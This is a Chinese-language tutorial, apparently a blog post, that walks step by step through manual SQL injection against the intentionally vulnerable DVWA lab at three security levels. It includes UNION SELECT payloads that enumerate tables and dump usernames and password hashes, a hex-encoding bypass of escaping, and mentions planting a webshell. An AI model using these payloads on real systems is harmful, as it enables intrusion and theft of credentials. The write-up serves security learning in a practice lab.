前言:
首先是DVWA环境的搭建:
1.DVWA。
2.PHPSTUDY/WampServer,这里有一个坑,因为他是一体化的,PHP版本必须在5.4以上,否则显注不能打开。或者自己搭建LAMP环境。
3.抓包软件BURP以及代理的设置。
具体的步骤可参考:https://www.jb51.net/article/160378.htm
本篇主要记录DVWA中SQL注入中的显注部分:
开始之前先了解数字型、字符型和搜索型注入的区别:https://blog.csdn.net/change518/article/details/8116920/或者https://www.cnblogs.com/zztac/p/11355622.html
主要是数字型和字符型的区别:查询语句中我们输入的信息被单引号包含起来导致成为一个整体字符串,所以查询语句会查询一个为“1 and 1=1”和 “1 and 1=2”的id,这个id当然不会存在了就导致出现错误。所以针对字符型注入我们需要对单引号进行匹配,就产生了“' and '1'='1”和“'and '1'='2”这样的闭合字符型注入的判断语句。我们输入这样的判断语句就会发现跟数字型注入一样的返回。
SQL注入常规思路:
1、寻找注入点,可以通过 web 扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
手工注入常规思路:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.查询到账户的数据
低级:
网页源码:
分析:
由代码可知,通过REQUEST
方式接受传递的参数id,再通过sql语句带入查询,并未设置任何过滤,因此可以进行sql注入利用。
常见的测试POC:
![](https://img2018.cnblogs.com/i-beta/1835643/201912/1835643-20191219203835551-1563182841.png)
几个常用的函数:
user()返回当前数据库连接使用的用户;
database()返回当前数据库连接使用的数据库;
version()返回当前数据库的版本;
1.判断是否存在注入,注入是字符型还是数字型
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
输入1,查询成功:
输入:1 and 1=1,成功:
输入:1 and 1=2,成功,可以知道并不是数字型的注入:
输入:1' and '1'='1 成功:
输入:1' and '1'='2,失败,没有查出东西,说明是字符型的注入:
2.猜解SQL查询语句中的字段数
输入1′ order by 2 #,查询成功:(注意此处的语句,#是注释后面的单引号,前面的’是闭合SQL的“,一定要记住ORDERBY 后加数字不是字符 )
输入1′ order by 3 #,查询失败:
说明执行SQL查询的只有两个字段,就是这里的First name、Surname。
3.确定显示的字段顺序。
输入1′ union select 1,2 #,查询成功: #是注释作用,union是联合查询
说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…
4.获取当前的数据库
![](https://img2018.cnblogs.com/i-beta/1835643/201912/1835643-20191220153502871-497962476.png)
数据库是DVWA。
5.获取数据库中的表
输入:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:
说明数据库中,有两个表:guestbook与users。
![](https://img2018.cnblogs.com/i-beta/1835643/201912/1835643-20191220160020080-607813908.png)
users表中一个有8个字段,其中包括,user_id,first_name,password。
7.得到数据
输入:1' union select group_concat(user_id,first_name),group_concat(password) from users #,查询成功:
可以看到查询1的内容是id和用户名,查询2的内容是password,注意,此处是密文,需要MD5转换(百度即可):
这样,我们就拿到了低级手工注入的所有用户名和密码。
中级:
![](https://img2018.cnblogs.com/i-beta/1835643/201912/1835643-20191220162626925-650527590.png)
Medium级别的代码利用mysql_real_escape_string函数对特殊符号x00, , ,,’,”,x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。所以就用到了抓包软件BURPLOADER以及服务器的代理设置。
1.判断是否存在注入,以及注入的类型。
抓包更改参数为1‘and1=1#报错:
抓包更改参数为1and1=1 查询成功:
所以是数字型注入,由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。
![](https://img2018.cnblogs.com/i-beta/1835643/201912/1835643-20191220164129672-1319232044.png)
抓包修改为id=1 order by 3,查询失败::
说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
3.确定显示字段的顺序:
抓包更改参数:1 union select 1,2 查询成功
4.获取当前的数据库名:
抓包修改:id =1 union select 1,database(),查询成功:
数据库名为dvwa
5.获取数据库当中的表:
抓包修改:id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
数据库中一共存在两个表,guest和users
6.获取表中的字段名
抓包修改:id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users’,查询失败
这是因为‘在这里被转义成了\',我们可以用16进制绕过:
这样就得到了字段名。
7.得到数据
抓包修改数据:
同样,也得到了用户名和密码。
高级:
查看源码
与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。且因为是字符型注入,手工注入的过程与Low级别基本一样,直接最后一步演示得到数据。